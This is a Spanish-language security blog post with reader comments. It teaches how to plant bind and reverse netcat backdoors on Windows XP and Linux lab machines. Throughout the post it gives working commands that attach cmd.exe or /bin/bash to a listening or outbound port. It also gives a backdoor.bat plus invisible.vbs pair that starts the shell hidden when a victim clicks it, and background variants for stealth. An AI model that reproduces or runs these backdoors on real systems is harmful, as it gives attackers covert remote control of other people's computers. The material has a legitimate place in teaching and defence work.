Blog

Creating your Backdoor with NetCat

Buenas a todos, en este nuevo post vamos a hablar de como crearnos nuestro propia backdoor con la herramienta NetCat, veremos como hacerlo tanto para Windows como para Linux.

Vamos a ver primero que es la herramienta NetCat, segun la Wikipedia: “Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Fue originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Posteriormente fue portada a Windows y Mac OS X entre otras plataformas. Existen muchos forks de esta herramienta que añaden características nuevas como GNU Netcat o Cryptcat.”

Nosotros en este caso vamos a utilizar la herramienta para poner un puerto a la escucha en la maquina victima y por otro lado utilizaremos la herramienta para conectarnos al puerto que hemos abierto y tomar el control de la maquina.

Un aspecto importante que debemos distinguir es que podemos crear dos tipos distintos de backdoor, una seria aquella que realiza una conexión directa con nosotros (bind backdoor) y la otra seria la que realiza una conexión inversa, es decir que realmente el que se quedara a la escucha sera el atacante y la victima se conectara con nosotros (reverse backdoor). Esta ultima es mas eficaz pues suele ser mucho menos detectada por todo tipo de firewalls y demás. En el post vamos a explicar como crear ambas, ademas de ver como podríamos hacerlo de una forma oculta o no.

Empecemos…

Lo primero, tenemos una maquina con Kali (Ya por fin me lo he instalado ;)) y otra con un Windows XP cuyas configuraciones son las que se muestran a continuación…

netcat_1

netcat_2

 

La primera prueba que vamos a hacer es crear la backdoor en el XP y conectarnos a dicho equipo mediante Kali, para ello se ejecutan los siguientes comandos:

– En Windows XP (Pondremos de forma permanente en el puerto 4444 al app cmd.exe) –> “nc -l -p 4444 -e cmd.exe”

– En Kali (Nos conectamos a ese puerto para tener control del cmd como administrador [Sistema Obtenido])–> “nc 192.168.56.101 4444”

netcat_3

 

Ahora vamos a ver como se haría esto mismo pero al revés, es decir crear la backdoor en Kali y abrirlo desde Windows, para ello introducimos lo siguiente:

– En Kali (Como vemos es igual que en el caso anterior, lo unico que cambiar es la app a ejecutar, en este caso una shell de linux) –> “nc -l -p 4444 -e /bin/bash”

– En Windows XP (Nos conectamos y obtenemos control del sistema) –> “nc 192.168.1.11 4444”

netcat_4

 

Una vez visto esto vamos a ver hora como podríamos hacer exactamente lo mismo pero de forma oculta, es decir sin que tengamos que mantener ahí una consola negra en el equipo comprometido. En este primer ejemplo, vamos a ver que para hacer esto en Windows necesitamos crear dos archivos que son: backdoor.bat y invisible.vbs.

En backdoor.bat introduciremos lo siguiente:

@echo off
nc -l -p 4444 -e cmd.exe

Y en invisible.vbs introduimos lo siguiente:

set objshell = createobject(“wscript.shell”)
objshell.run “backdoor.bat”,vbhide

Ahora vamos a explicar que es lo que hacen cada uno… El primero, backdoor.bat es realmente quien ejecuta el comando para crear la backdoor en el puerto 4444, y el segundo, el archivo invisible.vbs utiliza Visual Basic para ejecutar el .bat de forma oculta, de tal modo que cuando la victima pinche (o nosotros en su ordenador) sobre el .vbs no aparecerá nada pero realmente se habrá abierto el puerto 4444 donde nos podremos conectar para obtener control del sistema como se puede ver a continuación introduciendo en Kali el comando: “nc 192.168.56.101 4444″…

netcat_5

 

Ahora vamos a ver como podríamos crear una backdoor oculta en un sistema linux. Este caso es muy sencillo ya que en linux para dejar un comando en background únicamente hay que introducir “&” al final, por lo que seria exactamente igual que en el caso anterior de Kali pero introduciendo “&”, de tal forma que el comando quedaría así: “nc -l -p 4444 -e /bin/bash &”. Una vez echo esto nos conectaríamos con Windows como en las anteriores veces y tendríamos acceso al sistema como podemos ver en la imagen…

netcat_6

 

Bien, hasta aquí todos los ejemplos han sido backdoors de tipo bind, es decir que abríamos un puerto en el equipo de la victima y nos conectábamos a el para obtener control del sistema. Ahora vamos a ver como podríamos crear backdoor de tipo reverso en ambos sistemas operativos.

Para crear una backdoor en Windows debemos primero ejecutar el comando “nc -lvvp 4444” en el equipo atacante para que se quede a la escucha en el puerto 4444 a que la maquina victima haya sido comprometida y se conecte a nosotros, y por otro lado en el Windows XP deberíamos introducir el siguiente comando “nc 192.168.1.11 4444 -e cmd.exe”. Una vez echo esto vemos que se nos abre en el equipo atacante una shell tras haberse conectado la victima a nosotros. En caso de querer hacer esto de forma oculta seria igual que en el caso de la bind backdoor en Windows de antes pero cambiando el comando que ejecutamos.

netcat_8

 

Y por ultimo vamos a ver como crear la reverse backdoor en Kali y que nos devuelva una shell en Windows XP. Para ello como antes tendríamos que introducir primero en el equipo atacante el comando “nc -lvvp 4444” y en el equipo victima el comando “nc 192.168.56.101 4444 -e /bin/bash”. Una vez echo esto ya tendríamos una shell gracias a que la victima se a conectado a nosotros. En caso de querer hacerlo oculto únicamente tendríamos que introducir “&” al final del comando ejecutado en Kali.

netcat_7

 

Ya hemos visto muchas de las formas en las que podríamos crearnos una backdoor en un equipo comprometido, pero hay muchísimas mas opciones, en siguientes post explicare como podemos dejar esas backdoor de forma permanente, como utilizar netcat como ftp para subir archivos, y un largo etc…

Espero que os haya gustado el post!

Un saludo,

Eduardo – eduardo@highsec.es – @_Hykeos

  1. BTshell
    BTshell07-15-2013

    Muy bueno Edu, NC siempre es una herramienta interesante 😉

    • Eduardo Arriols
      Eduardo Arriols07-15-2013

      Muchas gracias BTshell ;)! Sin duda es una herramienta con las que se pueden hacer muchas cosillas! Un saludo

  2. TraviS
    TraviS07-15-2013

    Muy bueno Eduardo. Siempre es bueno tener un recordatorio de algunas cosillas que con el tiempo uno no afina y tiene que tirar de google xD.
    Un saludo y sigan así.

    TraviS http://www.SecForYou.com

    • Eduardo Arriols
      Eduardo Arriols07-15-2013

      Muchas gracias TraviS, me alegro de que te haya gustado ;)! Por cierto me pasare por tu web que no la conocía! Un saludo!!

  3. R0dW3
    R0dW307-16-2013

    Gracias por el post Eduardo, muy bueno!

  4. Miguel Ángel García
    Miguel Ángel García07-16-2013

    Muy bueno Eduardo 😉

    Lo acabo de probar en mi laboratorio y funciona de maravilla!

    Un saludo

    • Eduardo Arriols
      Eduardo Arriols07-16-2013

      Muchas gracias Miguel Ángel ;)! Intentare hacer alguno mas sobre NetCat un poco mas avanzado!

      Un saludo!

Leave a Reply

*

    No Twitter Messages